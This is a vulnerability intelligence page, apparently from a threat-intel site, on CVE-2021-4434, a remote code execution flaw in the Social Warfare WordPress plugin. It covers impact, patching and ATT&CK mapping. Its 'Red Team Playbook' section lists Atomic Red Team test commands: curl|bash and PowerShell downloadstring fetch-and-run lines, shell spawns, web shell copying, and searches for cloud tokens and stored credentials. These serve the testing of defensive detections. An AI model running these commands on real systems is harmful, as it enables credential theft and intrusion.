CVE-2021-4434
Overview
This vulnerability is a Remote Code Execution (RCE) flaw caused by improper input validation and sanitization of the 'swp_url' parameter within the Social Warfare WordPress plugin. The affected component fails to securely handle user-supplied URL input, allowing arbitrary code injection and execution on the server. The root cause lies in insufficient filtering of input data processed by the plugin's URL handling functionality.
Vulnerability Description
The Social Warfare plugin for WordPress is vulnerable to Remote Code Execution in versions up to, and including, 3.5.2 via the 'swp_url' parameter. This allows attackers to execute code on the server.
Impact
An unauthenticated remote attacker can exploit this vulnerability over the network to execute arbitrary code on the web server, gaining full control of the affected system. No user interaction or privileges are required, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N). Successful exploitation may result in data compromise, service disruption, or lateral movement within the network, severely impacting business operations and data integrity.
Solution
Users should upgrade the Social Warfare plugin to version 3.5.3 or later, where the vulnerability has been addressed. Detailed patch information and remediation steps are available in the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/98cf2a10-cc53-4479-87d1-71489f6a8c51. Applying this update will mitigate the remote code execution risk by correcting input validation in the 'swp_url' parameter handling.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the Social Warfare plugin for WordPress is a critical security flaw that allows for Remote Code Execution (RCE) through manipulation of the 'swp_url' parameter. This flaw arises from improper validation of user input, enabling attackers to inject arbitrary code into the server environment. When the plugin processes the 'swp_url' parameter, it fails to adequately sanitize the input, which can lead to execution of malicious scripts. This vulnerability is particularly severe due to its high CVSS score, indicating a significant risk to affected systems.
Attack vectors for this vulnerability are straightforward, as it primarily involves sending crafted requests to the server hosting the vulnerable plugin. An attacker could exploit this flaw by constructing a URL that includes malicious code within the 'swp_url' parameter. Once the server processes this request, the injected code can be executed with the same privileges as the web server, potentially leading to full control over the affected WordPress installation. This exploitation can occur remotely, making it accessible to attackers without requiring physical access to the server, thereby broadening the attack surface significantly.
The real-world impact of this vulnerability is profound, particularly for businesses that rely on WordPress for their online presence. Successful exploitation can lead to unauthorized access to sensitive data, defacement of websites, or even the deployment of malware that could compromise visitors' systems. The potential for data breaches can result in significant financial losses, reputational damage, and legal ramifications due to non-compliance with data protection regulations. For organizations that depend on their online platforms for revenue generation, the risks associated with this vulnerability can be catastrophic, leading to operational disruptions and loss of customer trust.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating the Social Warfare plugin to the latest version is crucial, as developers often release patches to address known vulnerabilities. Additionally, employing web application firewalls (WAFs) can help filter out malicious requests before they reach the server. Security plugins that monitor for unusual activity or changes in file integrity can also provide an additional layer of defense. Furthermore, organizations should conduct regular security audits and penetration testing to identify and remediate vulnerabilities proactively.
In conclusion, the Remote Code Execution vulnerability in the Social Warfare plugin poses a significant threat to WordPress installations. The ease of exploitation and the potential for severe consequences underscore the importance of maintaining robust security practices. By prioritizing timely updates, employing security tools, and fostering a culture of security awareness, organizations can mitigate the risks associated with this vulnerability and protect their digital assets from malicious actors.
The CVSS score adjustment from 9.8 to a perfect 10.0 for CVE-2021-4434 reflects a recalibration of the vulnerability’s impact and exploitability, underscoring its critical nature. This change signals that the risk posed by the Social Warfare plugin’s Remote Code Execution flaw is now recognized as maximally severe, emphasizing the potential for complete system compromise without prerequisite conditions. CSURFACE threat intelligence notes that while exploit activity remains stable with no emergent proof-of-concept exploits detected, the heightened severity rating demands increased vigilance. Defenders should interpret this update as a validation of the vulnerability’s extreme risk profile, reinforcing the imperative to prioritize remediation efforts. Although the Exploit Prediction Scoring System (EPSS) score remains moderate and stable, the CVSS escalation highlights that any successful exploitation could have catastrophic consequences, particularly given the widespread deployment of the affected plugin. This recalibration does not indicate an immediate surge in exploitation attempts but serves as a critical alert to the potential impact severity, warranting sustained attention in threat monitoring and vulnerability management programs.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Warfareplugins | Social Warfare | All |
cpe:2.3:a:warfareplugins:social_warfare:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-4434 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/98cf2a10-cc53-4479-87d1-71489f6a8c51?source=cve |
| packetstormsecurity.com |
GitHub CVE
|
https://packetstormsecurity.com/files/163680/WordPress-Social-Warfare-3.5.2-Remote-Code-Execution.html |